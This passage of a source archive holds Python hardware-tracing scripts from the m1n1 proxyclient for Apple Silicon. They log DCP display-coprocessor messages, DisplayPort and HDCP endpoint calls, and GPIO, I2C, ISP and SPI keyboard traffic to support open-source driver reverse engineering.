IOMFB::PlatformFunctionRelay::allocate_record(unsigned int, char const*, unsigned int, bool)", "D501": "IOMFBStatus IOMFB::PlatformFunctionRelay::release_record(unsigned int)", "D502": "IOMFBStatus IOMFB::PlatformFunctionRelay::callFunctionLink(unsigned int, unsigned long, unsigned long, unsigned long)", "D550": "bool IORegistryEntry::setProperty(OSString *, OSArray *)", "D551": "bool IORegistryEntry::setProperty(OSString *, IOMFB::AFKArray *)", "D552": "bool IORegistryEntry::setProperty(OSString *, OSDictionary *)", "D553": "bool IORegistryEntry::setProperty(OSString *, IOMFB::AFKDictionary *)", "D554": "bool IORegistryEntry::setProperty(OSString *, OSNumber *)", "D555": "bool IORegistryEntry::setProperty(OSString *, IOMFB::AFKNumber *)", "D556": "bool IORegistryEntry::setProperty(OSString *, OSBoolean *)", "D557": "bool IORegistryEntry::setProperty(OSString *, OSString *)", "D558": "bool IORegistryEntry::setProperty(OSString *, IOMFB::AFKString *)", "D559": "bool IORegistryEntry::setProperty(char const*, OSArray *)", "D560": "bool IORegistryEntry::setProperty(char const*, IOMFB::AFKArray *)", "D561": "bool IORegistryEntry::setProperty(char const*, OSDictionary *)", "D562": "bool IORegistryEntry::setProperty(char const*, IOMFB::AFKDictionary *)", "D563": "bool IORegistryEntry::setProperty(char const*, OSNumber *)", "D564": "bool IORegistryEntry::setProperty(char const*, IOMFB::AFKNumber *)", "D565": "bool IORegistryEntry::setProperty(char const*, OSBoolean *)", "D566": "bool IORegistryEntry::setProperty(char const*, OSString *)", "D567": "bool IORegistryEntry::setProperty(char const*, IOMFB::AFKString *)", "D568": "bool IORegistryEntry::setProperty(char const*, char const*)", "D569": "bool IORegistryEntry::setProperty(char const*, bool)", "D570": "IOMFBStatus IOMobileFramebufferAP::setProperties(OSDictionary*)", "D571": "void IOMobileFramebufferAP::swapping_client_did_start(IOMobileFramebufferUserClient*)", "D572": "void IOMobileFramebufferAP::swapping_client_will_stop(IOMobileFramebufferUserClient*)", "D573": "IOMFBStatus IOMobileFramebufferAP::set_canvas_size(unsigned int, unsigned int)", "D574": "IOMFBStatus IOMobileFramebufferAP::powerUpDART(bool)", "D575": "IOMFBStatus IOMobileFramebufferAP::get_dot_pitch(unsigned int*)", "D576": "void IOMobileFramebufferAP::hotPlug_notify_gated(unsigned long long)", "D577": "void IOMobileFramebufferAP::powerstate_notify(bool, bool)", "D578": "bool IOMobileFramebufferAP::idle_fence_create(IdleCachingState)", "D579": "void IOMobileFramebufferAP::idle_fence_complete()", "D580": "void IOMobileFramebufferAP::idle_surface_release_ap()", "D581": "void IOMobileFramebufferAP::swap_complete_head_of_line(unsigned int, bool, unsigned int, bool)", "D582": "bool IOMobileFramebufferAP::create_default_fb_surface(unsigned int, unsigned int)", "D583": "bool IOMobileFramebufferAP::serializeDebugInfoCb(unsigned long, IOMFB::BufferDescriptor const*, unsigned int)", "D584": "void IOMobileFramebufferAP::clear_default_surface()", "D585": "void IOMobileFramebufferAP::swap_notify_gated(unsigned long long, unsigned long long, unsigned long long)", "D586": "void IOMobileFramebufferAP::swap_info_notify_dispatch(SwapInfoBlob const*)", "D587": "void IOMFBStatus IOMobileFramebufferAP::updateBufferMappingCount_gated(bool)", "D588": "void IOMobileFramebufferAP::resize_default_fb_surface_gated()", "D589": "void IOMobileFramebufferAP::swap_complete_ap_gated(unsigned int, bool, SwapCompleteData const*, SwapInfoBlob const*, unsigned int)", "D590": "void IOMobileFramebufferAP::batched_swap_complete_ap_gated(unsigned int*, unsigned int, bool, bool const*, SwapCompleteData const*)", "D591": "void IOMobileFramebufferAP::swap_complete_intent_gated(unsigned int, bool, IOMFBSwapRequestIntent, unsigned int, unsigned int)", "D592": "void IOMobileFramebufferAP::abort_swap_ap_gated(unsigned int)", "D593": "void IOMobileFramebufferAP::enable_backlight_message_ap_gated(bool)", "D594": "void IOMobileFramebufferAP::setSystemConsoleMode(bool)", "D595": "void IOMobileFramebufferAP::setSystemConsoleMode_gated(bool)", "D596": "bool IOMobileFramebufferAP::isDFBAllocated()", "D597": "bool IOMobileFramebufferAP::preserveContents()", "D598": "void IOMobileFramebufferAP::find_swap_function_gated()", "D700": "int IOMFB::DCPPowerManager::set_kernel_power_assert(bool, bool)", } # iboot interface """ 0: setResource 1: setSurface 2: setPower 3: getHpdStatus 4: getTimingModes 5: getColorModes 6: setMode 7: setBrightness 8: rwBCONRegsRequest 9: setParameter 10: setMatrix 11: setProperty 12: getProperty 13: setBlock 14: getBlock 15: swapBegin 16: setSwapLayer 17: setSwapTimestamp 18: setSwapEnd 19: setSwapWait 20: setBrightnessCfg 21: setNamedProperty 22: getNamedProperty """ from m1n1.fw.dcp.dcpep import DCPMessage, DCPEp_SetShmem, CallContext, DCPEp_Msg class DCPCallState: pass class DCPCallChannel(Reloadable): def __init__(self, dcpep, name, buf, bufsize): self.dcpep = dcpep self.name = name self.buf = buf self.bufsize = bufsize self.log = self.dcpep.log self.state = self.dcpep.state def call(self, msg, dir): ident = f"{self.name}.{msg.OFF:x}" if any(msg.OFF == s.off for s in self.state.ch.get(self.name, [])): self.log(f"{dir}{self.name}.{msg.OFF:x} !!! Overlapping call ({msg})") assert False state = DCPCallState() data = self.dcpep.dart.ioread(self.dcpep.stream, self.state.shmem_iova + self.buf + msg.OFF, msg.LEN) tag = data[:4][::-1].decode("ascii") in_len, out_len = struct.unpack("= 1: self.log(f"{dir}{self.name}.{msg.OFF:x} {tag}:{KNOWN_MSGS.get(tag, 'unk')} ({msg})") if verb >= 2: print(f"Message: {tag} ({KNOWN_MSGS.get(tag, 'unk')}): (in {in_len:#x}, out {out_len:#x})") if data_in: print(f"{dir} Input ({len(data_in):#x} bytes):") chexdump(data_in[:self.state.max_len]) #if tag not in KNOWN_MSGS: #hv.run_shell() if self.state.dumpfile: dump = f"CALL {dir} {msg.value:#018x} {self.name} {state.off:#x} {state.tag} {in_len:#x} {out_len:#x} {data_in.hex()}\n" self.state.dumpfile.write(dump) self.state.dumpfile.flush() self.state.ch.setdefault(self.name, []).append(state) def ack(self, msg, dir): assert msg.LEN == 0 states = self.state.ch.get(self.name, None) if not states: self.log(f"{dir}ACK {self.name}.{msg.OFF:x} !!! ACK without call ({msg})") return state = states[-1] if self.state.show_acks: self.log(f"{dir}ACK {self.name}.{msg.OFF:x} ({msg})") data_out = self.dcpep.dart.ioread(self.dcpep.stream, self.state.shmem_iova + state.out_addr, state.out_len) verb = self.dcpep.get_verbosity(state.tag) if verb >= 3 and state.out_len > 0: print(f"{dir}{self.name}.{msg.OFF:x} Output buffer ({len(data_out):#x} bytes):") chexdump(data_out[:self.state.max_len]) if self.state.dumpfile: dump = f"ACK {dir} {msg.value:#018x} {self.name} {state.off:#x} {data_out.hex()}\n" self.state.dumpfile.write(dump) self.state.dumpfile.flush() states.pop() class DCPEp(EP): BASE_MESSAGE = DCPMessage def __init__(self, tracer, epid): super().__init__(tracer, epid) self.state.shmem_iova = None self.state.show_globals = True self.state.show_acks = True self.state.max_len = 1024 * 1024 self.state.verbosity = 3 self.state.op_verb = {} self.state.ch = {} self.state.dumpfile = None self.ch_cmd = DCPCallChannel(self, "CMD", 0x00000, 0x8000) self.ch_oobcmd = DCPCallChannel(self, "OOBCMD", 0x08000, 0x8000) self.ch_async = DCPCallChannel(self, "ASYNC", 0x40000, 0x8000) self.ch_oobasync = DCPCallChannel(self, "OOBASYNC", 0x48000, 0x8000) self.ch_cb = DCPCallChannel(self, "CB", 0x60000, 0x8000) self.ch_oobcb = DCPCallChannel(self, "OOBCB", 0x68000, 0x8000) self.cmd_ch = { CallContext.CB: self.ch_cmd, CallContext.CMD: self.ch_cmd, CallContext.ASYNC: None, # unknown CallContext.OOBASYNC: None, # unknown CallContext.OOBCB: self.ch_oobcmd, CallContext.OOBCMD: self.ch_oobcmd, } self.cb_ch = { CallContext.CB: self.ch_cb, CallContext.CMD: None, CallContext.ASYNC: self.ch_async, CallContext.OOBASYNC: self.ch_oobasync, CallContext.OOBCB: self.ch_oobcb, CallContext.OOBCMD: None, } def start(self): self.add_mon() def add_mon(self): if self.state.shmem_iova and self.state.show_globals: addr = self.state.shmem_iova + 0x80000 iomon.add(addr, 128, name=f"{self.name}.shmem@{addr:08x}", offset=addr) #addr = self.state.shmem_iova #iomon.add(addr, 0x80080, #name=f"{self.name}.shmem@{addr:08x}", offset=addr) InitComplete = msg_log(1, DIR.RX) @msg(0, DIR.TX, DCPEp_SetShmem) def SetShmem(self, msg): self.log(f"Shared memory DVA: {msg.DVA:#x}") self.state.shmem_iova = msg.DVA & 0xfffffffff self.add_mon() @msg(2, DIR.TX, DCPEp_Msg) def Tx(self, msg): if msg.ACK: self.cb_ch[msg.CTX].ack(msg, ">") else: self.cmd_ch[msg.CTX].call(msg, ">") if self.state.show_globals: iomon.poll() return True @msg(2, DIR.RX, DCPEp_Msg) def Rx(self, msg): self.log(msg) if msg.ACK: self.cmd_ch[msg.CTX].ack(msg, "<") else: self.cb_ch[msg.CTX].call(msg, "<") if self.state.show_globals: iomon.poll() return True def get_verbosity(self, tag): return self.state.op_verb.get(tag, self.state.verbosity) def set_verb_known(self, verb): for i in KNOWN_MSGS: if verb is None: self.state.op_verb.pop(i, None) else: self.state.op_verb[i] = verb class SystemService(EPICEp): NAME = "system" class TestService(EPICEp): NAME = "test" class DCPExpertService(EPICEp): NAME = "dcpexpert" class Disp0Service(EPICEp): NAME = "disp0" class DCPAVControllerEpicTracer(EPICServiceTracer): NAME = "dcpav-controller-epic" @epic_service_cmd(0, 14) def getParticipatesPowerManagement(self, data): self.log("> getParticipatesPowerManagement") @epic_service_reply(0, 14) def getParticipatesPowerManagement_reply(self, data): self.log("< getParticipatesPowerManagement") chexdump(data, print_fn=self.log) class DPAVController(EPICEp): NAME = "dpavctrl" SERVICES = [ DCPAVControllerEpicTracer ] class DPSACService(EPICEp): NAME = "dpsac" class DCPDPDeviceEpicTracer(EPICServiceTracer): NAME = "dcpdp-device-epic" @epic_service_cmd(0, 15) def getDeviceMatchingData(self, data): self.log("> getDeviceMatchingData") @epic_service_reply(0, 15) def getDeviceMatchingData_reply(self, data): self.log("< getDeviceMatchingData") chexdump(data, print_fn=self.log) class DPDevService(EPICEp): NAME = "dpdev" SERVICES = [ DCPDPDeviceEpicTracer ] class DPAVService(EPICEp): NAME = "dpavserv" class DCPAVAudioInterfaceEpicTracer(EPICServiceTracer): NAME = "dcpav-audio-interface-epic" # usually 4, 6 but apparently also 0, 6 here? # or maybe a different open? @epic_service_cmd(0, 6) def open2(self, data): self.log("> open") @epic_service_reply(0, 6) def open2_reply(self, data): self.log("< open") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 8) def prepareLink(self, data): self.log("> prepareLink") @epic_service_reply(0, 8) def prepareLink_reply(self, data): self.log("< prepareLink") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 9) def startLink(self, data): self.log("> startLink") @epic_service_reply(0, 9) def startLink_reply(self, data): self.log("< startLink") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 15) def getLinkStatus(self, data): self.log("> getLinkStatus") @epic_service_reply(0, 15) def getLinkStatus_reply(self, data): self.log("< getLinkStatus") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 16) def getTransport(self, data): self.log("> getTransport") @epic_service_reply(0, 16) def getTransport_reply(self, data): self.log("< getTransport") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 17) def getPortID(self, data): self.log("> getPortID") @epic_service_reply(0, 17) def getPortID_reply(self, data): self.log("< getPortID") chexdump(data, print_fn=self.log) @epic_service_cmd(1, 18) def getElements(self, data): self.log("> getElements") @epic_service_reply(1, 18) def getElements_reply(self, data): self.log("< getElements") chexdump(data, print_fn=self.log) @epic_service_cmd(1, 20) def getProductAttributes(self, data): self.log("> getProductAttributes") @epic_service_reply(1, 20) def getProductAttributes_reply(self, data): self.log("< getProductAttributes") chexdump(data, print_fn=self.log) @epic_service_cmd(1, 21) def getEDIDUUID(self, data): self.log("> getEDIDUUID") @epic_service_reply(1, 21) def getEDIDUUID_reply(self, data): self.log("< getEDIDUUID") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 22) def getDataLatency(self, data): self.log("> getDataLatency") @epic_service_reply(0, 22) def getDataLatency_reply(self, data): self.log("< getDataLatency") chexdump(data, print_fn=self.log) class AVService(EPICEp): NAME = "av" SERVICES = [ DCPAVAudioInterfaceEpicTracer ] class DCPDPTXHDCPAuthSessionTracer(EPICServiceTracer): NAME = "dcpdptx-hdcp-auth-session" @epic_service_cmd(4, 8) def getProtocol(self, data): self.log("> getProtocol") @epic_service_reply(4, 8) def getProtocol_reply(self, data): self.log("< getProtocol") chexdump(data, print_fn=self.log) class HDCPService(EPICEp): NAME = "hdcp" SERVICES = [ DCPDPTXHDCPAuthSessionTracer ] class RemoteAllocService(EPICEp): NAME = "remotealloc" class DCPDPTXRemotePortTarget(Register32): CORE = 3, 0 ATC = 7, 4 DIE = 11, 8 CONNECTED = 15, 15 class DCPDPTXPortEpicTracer(EPICServiceTracer): NAME = "dcpdptx-port-epic" @epic_service_cmd(0, 6) def setPowerState(self, data): self.log("> setPowerState") chexdump(data, print_fn=self.log) @epic_service_reply(0, 6) def setPowerState_reply(self, data): self.log("< setPowerState") chexdump(data, print_fn=self.log) @epic_service_cmd(0, 11) def connectTo(self, data): unk1, target = struct.unpack(" connectTo(target={target}, unk1=0x{unk1:x})") chexdump(data, print_fn=self.log) @epic_service_reply(0, 11) def connectTo_reply(self, data): if len(data) < 32: self.log(f"< connectTo() short data len={len(data)}") unk1, target = struct.unpack(" validateConnection(target={target}, unk1=0x{unk1:x})") @epic_service_reply(0, 12) def validateConnection_reply(self, data): unk1, target = struct.unpack(" hotPlugDetectChangeOccurred()") chexdump(data, print_fn=self.log) unk = struct.unpack("<16x?15x", data)[0] self.log(f"> hotPlugDetectChangeOccurred(unk={unk})") @epic_service_reply(8, 8) def hotPlugDetectChangeOccurred_reply(self, data): if len(data) < 32: self.log(f"< hotPlugDetectChangeOccurred()") chexdump(data, print_fn=self.log) else: unk = struct.unpack("<16x?15x", data)[0] self.log(f"< hotPlugDetectChangeOccurred(unk={unk})") @epic_service_notify(0, 0) def apcall_activate(self, data): self.log(f"< DPTX_APCALL_ACTIVATE)") @epic_service_notify_ack(0, 0) def apcall_activate_ack(self, data): self.log(f"> DPTX_APCALL_ACTIVATE)") @epic_service_notify(0, 1) def apcall_deactivate(self, data): self.log(f"< DPTX_APCALL_DEACTIVATE)") @epic_service_notify_ack(0, 1) def apcall_deactivate_ack(self, data): self.log(f"> DPTX_APCALL_DEACTIVATE)") @epic_service_notify(0, 2) def apcall_max_drive_settings(self, data): self.log(f"< DPTX_APCALL_GET_MAX_DRIVE_SETTINGS)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 2) def apcall_max_drive_settings_ack(self, data): self.log(f"> DPTX_APCALL_GET_MAX_DRIVE_SETTINGS)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 3) def apcall_set_drive_settings(self, data): self.log(f"< DPTX_APCALL_SET_DRIVE_SETTINGS)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 3) def apcall_set_drive_settings_ack(self, data): self.log(f"> DPTX_APCALL_SET_DRIVE_SETTINGS)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 4) def apcall_get_drive_settings(self, data): self.log(f"< DPTX_APCALL_GET_DRIVE_SETTINGS)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 4) def apcall_get_drive_settings_ack(self, data): self.log(f"> DPTX_APCALL_GET_DRIVE_SETTINGS)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 5) def apcall_will_change_link_cfg(self, data): self.log(f"< DPTX_APCALL_WILL_CHANGE_LINK_CONFIG)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 5) def apcall_will_change_link_cfg_ack(self, data): self.log(f"> DPTX_APCALL_WILL_CHANGE_LINK_CONFIG)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 6) def apcall_did_change_link_cfg(self, data): self.log(f"< DPTX_APCALL_DID_CHANGE_LINK_CONFIG)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 6) def apcall_did_change_link_cfg_ack(self, data): self.log(f"> DPTX_APCALL_DID_CHANGE_LINK_CONFIG)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 7) def apcall_max_link_rate(self, data): self.log(f"< DPTX_APCALL_GET_MAX_LINK_RATE)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 7) def apcall_max_link_rate_ack(self, data): self.log(f"> DPTX_APCALL_GET_MAX_LINK_RATE)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 8) def apcall_get_link_rate(self, data): self.log(f"< DPTX_APCALL_GET_LINK_RATE)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 8) def apcall_get_link_rate_ack(self, data): self.log(f"> DPTX_APCALL_GET_LINK_RATE)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 9) def apcall_set_link_rate(self, data): self.log(f"< DPTX_APCALL_SET_LINK_RATE)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 9) def apcall_set_link_rate_ack(self, data): self.log(f"> DPTX_APCALL_SET_LINK_RATE)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 10) def apcall_max_lane_count(self, data): self.log(f"< DPTX_APCALL_GET_MAX_LANE_COUNT)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 10) def apcall_max_lane_count_ack(self, data): self.log(f"> DPTX_APCALL_GET_MAX_LANE_COUNT)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 11) def apcall_get_active_lane_count(self, data): self.log(f"< DPTX_APCALL_GET_ACTIVE_LANE_COUNT)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 11) def apcall_get_active_lane_count_ack(self, data): self.log(f"> DPTX_APCALL_GET_ACTIVE_LANE_COUNT)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 12) def apcall_set_active_lane_count(self, data): self.log(f"< DPTX_APCALL_SET_ACTIVE_LANE_COUNT)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 12) def apcall_set_active_lane_count_ack(self, data): self.log(f"> DPTX_APCALL_SET_ACTIVE_LANE_COUNT)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 13) def apcall_supports_downspread(self, data): self.log(f"< DPTX_APCALL_GET_SUPPORTS_DOWN_SPREAD)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 13) def apcall_supports_downspread_ack(self, data): self.log(f"> DPTX_APCALL_GET_SUPPORTS_DOWN_SPREAD)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 14) def apcall_get_downspread(self, data): self.log(f"< DPTX_APCALL_GET_DOWN_SPREAD)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 14) def apcall_get_downspread_ack(self, data): self.log(f"> DPTX_APCALL_GET_DOWN_SPREAD)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 15) def apcall_set_downspread(self, data): self.log(f"< DPTX_APCALL_SET_DOWN_SPREAD)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 15) def apcall_set_downspread_ack(self, data): self.log(f"> DPTX_APCALL_SET_DOWN_SPREAD)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 16) def apcall_supports_lane_map(self, data): self.log(f"< DPTX_APCALL_GET_SUPPORTS_LANE_MAPPING)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 16) def apcall_supports_lane_map_ack(self, data): self.log(f"> DPTX_APCALL_GET_SUPPORTS_LANE_MAPPING)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 17) def apcall_set_lane_map(self, data): self.log(f"< DPTX_APCALL_SET_LANE_MAP)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 17) def apcall_set_lane_map_ack(self, data): self.log(f"> DPTX_APCALL_SET_LANE_MAP)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 18) def apcall_supports_hpd(self, data): self.log(f"< DPTX_APCALL_GET_SUPPORTS_HPD)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 18) def apcall_supports_hpd_ack(self, data): self.log(f"> DPTX_APCALL_GET_SUPPORTS_HPD)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 19) def apcall_force_hpd(self, data): self.log(f"< DPTX_APCALL_FORCE_HOTPLUG_DETECT)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 19) def apcall_force_hpd_ack(self, data): self.log(f"> DPTX_APCALL_FORCE_HOTPLUG_DETECT)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 20) def apcall_inactive_sink(self, data): self.log(f"< DPTX_APCALL_INACTIVE_SINK_DETECTED)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 20) def apcall_inactive_sink_ack(self, data): self.log(f"> DPTX_APCALL_INACTIVE_SINK_DETECTED)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 21) def apcall_set_tiled_hints(self, data): self.log(f"< DPTX_APCALL_SET_TILED_DISPLAY_HINTS)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 21) def apcall_set_tiled_hints_ack(self, data): self.log(f"> DPTX_APCALL_SET_TILED_DISPLAY_HINTS)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 22) def apcall_dev_not_responding(self, data): self.log(f"< DPTX_APCALL_DEVICE_NOT_RESPONDING)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 22) def apcall_dev_not_responding_ack(self, data): self.log(f"> DPTX_APCALL_DEVICE_NOT_RESPONDING)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 23) def apcall_dev_busy_timeout(self, data): self.log(f"< DPTX_APCALL_DEVICE_BUSY_TIMEOUT)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 23) def apcall_dev_busy_timeout_ack(self, data): self.log(f"> DPTX_APCALL_DEVICE_BUSY_TIMEOUT)") chexdump(data, print_fn=self.log) @epic_service_notify(0, 24) def apcall_dev_not_started(self, data): self.log(f"< APCALL_DEVICE_NOT_STARTED)") chexdump(data, print_fn=self.log) @epic_service_notify_ack(0, 24) def apcall_dev_not_started_ack(self, data): self.log(f"> APCALL_DEVICE_NOT_STARTED)") chexdump(data, print_fn=self.log) class DPTXPortService(EPICEp): NAME = "dptxport" SERVICES = [ DCPDPTXPortEpicTracer ] class DCPTracer(ASCTracer): ENDPOINTS = { 0x20: SystemService, 0x21: TestService, 0x22: DCPExpertService, # Disp0 / DCP iboot as used by m1n1 is incompatible with the generic # EPICEp tracer, disable it for now #0x23: Disp0Service, 0x24: DPAVController, 0x25: EPICEp, # dcpav-power-ep 0x26: DPSACService, 0x27: DPDevService, 0x28: DPAVService, 0x29: AVService, 0x2a: DPTXPortService, # dcpdptx-port-ep 0x2b: HDCPService, 0x2c: EPICEp, # cb-ap-to-dcp-service-ep 0x2d: RemoteAllocService, 0x37: DCPEp, # iomfb-link } def handle_msg(self, direction, r0, r1): super().handle_msg(direction, r0, r1) #iomon.poll() # get get the SID used by DCP from the only child of "dart-dcp*" dcp_sid = u.adt[get_dcp_device(DCPDevType.DART_DCP, dcp_name)][0].reg dart_dcp_tracer = DARTTracer(hv, get_dcp_device(DCPDevType.DART_DCP, dcp_name)) dart_dcp_tracer.start() dart_disp0_tracer = DARTTracer(hv, get_dcp_device(DCPDevType.DART_DISP, dcp_name)) dart_disp0_tracer.start() def readmem_iova(addr, size, readfn): try: return dart_dcp_tracer.dart.ioread(dcp_sid, addr, size) except Exception as e: print(e) return None iomon.readmem = readmem_iova dcp_tracer = DCPTracer(hv, get_dcp_device(DCPDevType.DCP, dcp_name), verbose=1) dcp_tracer.start(dart_dcp_tracer.dart, stream=dcp_sid) #dcp_tracer.ep.dcpep.state.dumpfile = open(dcp_name + ".log", "a") m1n1-1.4.11/proxyclient/hv/trace_dptx.py000066400000000000000000000002371453754430200200670ustar00rootroot00000000000000# SPDX-License-Identifier: MIT for phy in ["dptx-phy", "lpdptx-phy0", "lpdptx-phy1"]: if phy in hv.adt["/arm-io"]: trace_device("/arm-io/" + phy) m1n1-1.4.11/proxyclient/hv/trace_gpio.py000066400000000000000000000017601453754430200200500ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.trace.gpio import GPIOTracer #trace_device("/arm-io/gpio", True) # trace gpio interrupts, useful to follow the cascaded interrupts aic_phandle = getattr(hv.adt["/arm-io/aic"], "AAPL,phandle") try: node = hv.adt["/arm-io/gpio0"] path = "/arm-io/gpio0" except: node = hv.adt["/arm-io/gpio"] path = "/arm-io/gpio" if getattr(node, "interrupt-parent") == aic_phandle: for irq in getattr(node, "interrupts"): hv.trace_irq(node.name, irq, 1, hv.IRQTRACE_IRQ) PIN_NAMES_j274 = { 0xC0: "i2c0:scl", 0xBC: "i2c0:sda", 0xC9: "i2c1:scl", 0xC7: "i2c1:sda", 0xA3: "i2c2:scl", 0xA2: "i2c2:sda", 106: "hpm:irq", 136: "bluetooth:irq", 196: "wlan:irq", 183: "cs42l83:irq", 182: "tas5770:irq", 152: "pci@0,0", 153: "pci@1,0", 33: "pci@2,0", #0x2D: "spi_nor:CS", } GPIOTracer = GPIOTracer._reloadcls() gpio_tracer = GPIOTracer(hv, path, PIN_NAMES_j274, verbose=0) gpio_tracer.start() m1n1-1.4.11/proxyclient/hv/trace_i2c.py000066400000000000000000000021541453754430200175650ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.trace.i2c import I2CTracer I2CTracer = I2CTracer._reloadcls() i2c_tracers = {} for node in hv.adt["/arm-io"]: if node.name.startswith("i2c"): n = int(node.name[3:]) i2c_tracers[n] = I2CTracer(hv, f"/arm-io/i2c{n}", verbose=0) i2c_tracers[n].stop() i2c_tracers[n].start() if hv.ctx: for irq in getattr(node, "interrupts"): hv.trace_irq(node.name, irq, 1, hv.IRQTRACE_IRQ) from m1n1.gpiola import GPIOLogicAnalyzer if not hv.started: for cpu in list(hv.adt["cpus"]): if cpu.name == "cpu3": print(f"Removing ADT node {cpu._path}") del hv.adt["cpus"][cpu.name] if not hv.started or hv.ctx is not None: m = GPIOLogicAnalyzer(u, "arm-io/gpio", pins={"scl": 0xc9, "sda": 0xc7}, div=1, on_pin_change=True, cpu=3) m.load_regmap(list(i2c_tracers[1].regmaps.values())[0], regs={"SMSTA", "XFSTA"}) def start_la(): m.start(1000000, bufsize=0x80000) hv.cont() def stop_la(): m.complete() m.show() m1n1-1.4.11/proxyclient/hv/trace_isp.py000066400000000000000000000007441453754430200177060ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT from m1n1.trace.isp import ISPTracer # bootargs += camLogging=0xfffffffffffff # all opcodes: https://pastebin.com/F8h7eDRB dev_name = [node.name for node in u.adt["/arm-io"] if node.name.startswith("isp")][0] dev_path = "/arm-io/%s" % (dev_name) dart_dev_path = "/arm-io/dart-%s" % (dev_name) print(dev_path, dart_dev_path) tracer = ISPTracer(hv, dev_path, dart_dev_path, verbose=4) tracer.start() dart = tracer.dart_tracer.dart m1n1-1.4.11/proxyclient/hv/trace_keyboard.py000066400000000000000000000144001453754430200207050ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from construct import * from m1n1.hv import TraceMode from m1n1.proxyutils import RegMonitor from m1n1.utils import * from m1n1.trace import ADTDevTracer from m1n1.trace.asc import ASCTracer, ASCRegs, EP, EPState, msg, msg_log, DIR from m1n1.trace.dart import DARTTracer from m1n1.trace.gpio import GPIOTracer from m1n1.trace.spi import SPITracer DARTTracer = DARTTracer._reloadcls() ASCTracer = ASCTracer._reloadcls() GPIOTracer = GPIOTracer._reloadcls() SPITracer = SPITracer._reloadcls() # SPI HID transport tracer for 2021 macbook models kbd_node = None for node in hv.adt.walk_tree(): try: if node.compatible[0] == "spi-1,spimc": for c in node: try: if c.compatible[0] == "hid-transport,spi": kbd_node = c break except AttributeError: continue except AttributeError: continue if kbd_node is not None: break # trace interrupts aic_phandle = getattr(hv.adt["/arm-io/aic"], "AAPL,phandle") spi_node = kbd_node._parent if getattr(spi_node, "interrupt-parent") == aic_phandle: for irq in getattr(spi_node, "interrupts"): hv.trace_irq(node.name, irq, 1, hv.IRQTRACE_IRQ) spi_pins = { 0x37: "spi3_cs", 0xc2: "ipd_en", } spi_pins_nub = { 0x6: "ipd_irq", } SPI_HID_PKT = Struct( "flags" / Int8ub, "dev" / Int8ub, "offset" / Int16ul, "remain" / Int16ul, "length" / Int16ul, "data" / Bytes(246), "crc16" / Int16ul ) #gpio_tracer = GPIOTracer(hv, "/arm-io/gpio0", spi_pins, verbose=0) #gpio_tracer.start() #gpio_tracer_nub = GPIOTracer(hv, "/arm-io/nub-gpio0", spi_pins_nub, verbose=0) #gpio_tracer_nub.start() dart_sio_tracer = DARTTracer(hv, "/arm-io/dart-sio", verbose=1) dart_sio_tracer.start() iomon = RegMonitor(hv.u, ascii=True) def readmem_iova(addr, size): try: return dart_sio_tracer.dart.ioread(0, addr, size) except Exception as e: print(e) return None iomon.readmem = readmem_iova class SIOMessage(Register64): EP = 7, 0 # matches device's ADT dma-channels, j314c spi3 0x1a and 0x1b TAG = 13, 8 # counts for ipd spi transfers from 0x02 to 0x20 TYPE = 23, 16 # OP PARAM = 31, 24 DATA = 63, 32 class SIOStart(SIOMessage): TYPE = 23, 16, Constant(2) class SIOSetup(SIOMessage): TYPE = 23, 16, Constant(3) class SIOConfig(SIOMessage): #??? TYPE = 23, 16, Constant(5) class SIOAck(SIOMessage): TYPE = 23, 16, Constant(0x65) class SIOSetupIO(SIOMessage): TYPE = 23, 16, Constant(6) class SIOCompleteIO(SIOMessage): TYPE = 23, 16, Constant(0x68) class SIOEp(EP): BASE_MESSAGE = SIOMessage SHORT = "sioep" def 